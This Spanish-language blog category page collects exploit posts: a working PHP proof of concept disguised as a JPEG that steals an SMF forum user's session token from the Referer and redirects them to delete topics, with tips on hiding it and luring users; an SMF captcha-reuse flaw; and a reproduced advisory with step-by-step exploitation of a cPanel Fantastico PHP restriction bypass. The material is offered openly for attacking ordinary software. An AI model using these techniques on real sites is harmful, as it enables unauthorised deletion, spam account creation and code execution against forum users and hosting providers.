Archivos de la categoría ‘Bug, Exploits Web y PoC’

Aprovechando la ultima vulnerabilidad de microsoft : web_dav + reverse tcp + vncinjection

El SMF en muchas secciones agrega sesc, no es malo, pues ayuda a controlar los XSRF’s, el problema se encuentra presisamente en eso, el mecanismo es bueno, pero la implementacion no tanto…

el sesc se genera unico por cada session que inicia un usuario, de modo que ese sesc se seguira usando para todo lo que haga el usuario mientras este logeado, luego ese sesc se agrega en algunas secciones en LA URL!

Esto permite a un atacante mediante muy poca ingenieria social obtener el sesc de un usuario, por ejemplo, diseñe un PoC, que simula ser una imagen, la podemos insertar en un post real, y cuando otro usuario cite un comentario del tema, y si esta activado el Topic Summary, se cargan las imagenes publicadas en el post dentro de esa seccion (Topic Summary), de modo que al cargar las imagenes se agrega un Referer (el cual, entre otras cosas contiene el sesc del usuario). Ahora la prueba de concepto un PHP:

<?php
// By Xianur0
$imagen = "imagen real.jpg";
error_reporting(0);
function borrar($path,$topic,$sesc) {
if(!preg_match("/index.php$/",$path)) $path = preg_replace("/\/([^\/]+)$/","/",$path);
header("Location: ".$path."?action=removetopic2;topic=".$topic.";sesc=".$sesc,TRUE,302);
}

function mostrarimagen($imagen) {
header("Content-Type: image/jpeg");
print file_get_contents($imagen);
}

if(isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']) && preg_match("/sesc=(.{32})/i",$_SERVER['HTTP_REFERER'],$matches) && preg_match("/topic=([^;]+)/i",$_SERVER['HTTP_REFERER'],$matchess) && preg_match("/^([^\?]+)/i",$_SERVER['HTTP_REFERER'],$matchesss)) {
$sesc = $matches[1];
$topic = $matchess[1];
$path = $matchesss[1];
borrar($path,$topic,$sesc);
exit;
}
mostrarimagen($imagen);
?>

ahora mediante un poco de .htaccess esta imagen quedara completamente oculta, solo queda insertarla en un post y esperar o convencer a algun usuario a citar algun post dentro del mensaje donde pusimos la image.

Si dicho usuario tiene permisos de borrar el post, el post sera borrado.

Desde luego mediante esta misma tecnica se pueden hacer otras cosas bastante mas malignas que borrar un post.

De momento no hay parche, luego programo algo… mientras tanto, no citen mensajes xD y/o desactiven el Topic Summary

Fuente:http://xianur0.diosdelared.com/?coment=7350

Bueno este es otro de esos bugs que simplemente uno no se imagina el por que diseñaron el sistema asi, pero bue…

El captcha del SMF (action=verificationcode) basicamente lo que hace es generar un unico codigo, de modo que podemos utilizar dicho codigo en todas las consultas futuras, es decir, por ejemplo, si se logra que en la misma session se cambie la IP, esto podria permitir crear multiples usuarios unicamente contestando un unico captcha.
Del mism modo hay varios modulos que utilizan dicho captcha, de modo que todos ellos resultan afectados, por ejemplo el captcha para envio de PM’s.

Estos captchas utilizan un seqnum, el cual del mismo modo es “adivinable”, es decir teniendo un seqnum original bastaria con ir aumentando 100 o 10000 al numero inicial y esto permitira pasar ese filtrado (en el SMF se revisa que el seqnum sea >= al establecido, de modo que al ser mayor corresponderia).

Register.php:

		// Only generate a new code if one hasn't been set yet
		if (!isset($_SESSION['visual_verification_code']))
		{
			// Skip I, J, L, O and Q.
			$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));

			// Generate a new code.
			$_SESSION['visual_verification_code'] = '';
			for ($i = 0; $i < 5; $i++)
				$_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
		}

saludos! 😉

Fuente:http://xianur0.diosdelared.com/

”’
__  __  ____         _    _ ____
|  \/  |/ __ \   /\  | |  | |  _ \
| \  / | |  | | /  \ | |  | | |_) |
| |\/| | |  | |/ /\ \| |  | |  _ <  Day 1 (0day)
| |  | | |__| / ____ \ |__| | |_) |
|_|  |_|\____/_/    \_\____/|____/

”’

abysssec Inc Public Advisory

1) Advisory information

Title               :  Cpanel  PHP Restriction Bypass Vulnerability
Version             : <= 11.25
Discovery           : http://www.abysssec.com
Vendor              :  http://www.cpanel.net
Impact              :  Ciritical
Contact            :  shahin [at] abysssec.com , info  [at] abysssec.com
Twitter             : @abysssec

2) Vulnerability Information

Class
1- Restriction Bypass Vulnerability
Impact
Attackers can use this issue to gain access to restricted files, potentially obtaining sensitive information that may aid in further attacks.It can help attacker to bypass restriction such as mod_security , Safemod and disable functions.
Remotely Exploitable
No
Locally Exploitable
Yes

3) Vulnerability details

1- Restriction Bypass Vulnerabilities:

Load All file with this structures :
[Domain | Filename ]
from :
/home/[user directory name/.fantasticodata/[Script name folder] and include all file.

Example [folder] :
/home/test/.fantasticodata/Joomla_1.5/
then include this file  :
test.com|file1

After you created your malicious file in that style you can browse this page:
http://test.com:2082/frontend/x3/fantastico/autoinstallhome.php?app=Joomla_1.5

Now your PHP code will execute without /safe_mode/Disable_function/ Mod_security due to cpanel php.ini must be run with execute permission.

Vulnerable code located in in  /usr/local/cpanel/3rdparty/fantastico/autoinstallhome.php :
Line 529 :

 function Show_Notice ( $Script , $Version_Numbers )
 {
 $Home_Directory = $GLOBALS['enc_cpanel_homedir'] ;
 if ( substr ( $Home_Directory , -1 ) != '/' )
 {
 $Home_Directory = $Home_Directory . '/' ;
 }
 $Files = Array ( ) ;
[This Place]   --->     $Directory = $Home_Directory . '.fantasticodata/' . $Script . '/' ;
 $Files = Get_Files ( $Directory ) ;
 if ( !empty ( $Files ) AND is_array ( $Files ) )
 {
 $Temporary = natcasesort ( $Files ) ;
 }
 foreach ( $Files As $File )
 {
 $Name    = '' ;
 $Path    = '' ;
 if ( strstr ( $File , "|" ) )
 {
 $Name = explode ( "|" , $File ) ;
 $Name = $Name[1] ;
 }
 else
 {
 $Name = $File ;
 }
 /* Debugging */ // echo $Directory . $File . '<br/>' ;
 if ( is_file ( $Directory . $File ) )
 {
 include $Directory . $File ;
 if ( !empty ( $thisscriptpath ) )
 {
 $Path = $thisscriptpath ;
 }
 else
 {
 $Path = $Home_Directory . 'public_html/' . $Name . '/' ;
 }
 if ( substr ( $Path , -1 ) != '/' )
 {
 $Path = $Path . '/' ;
 }
 /* Debugging */ // echo $Path . 'fantversion.php<br/><br/>' ;
 if ( is_file ( $Path . 'fantversion.php' ) )
 {
 include $Path . 'fantversion.php' ;
 if ( !empty ( $version ) )
 {
 if ( in_array ( $version , $Version_Numbers ) )
 {
 return 'Yes' ;
 }
 }
 }
 }
 }
 return 'No' ;
 }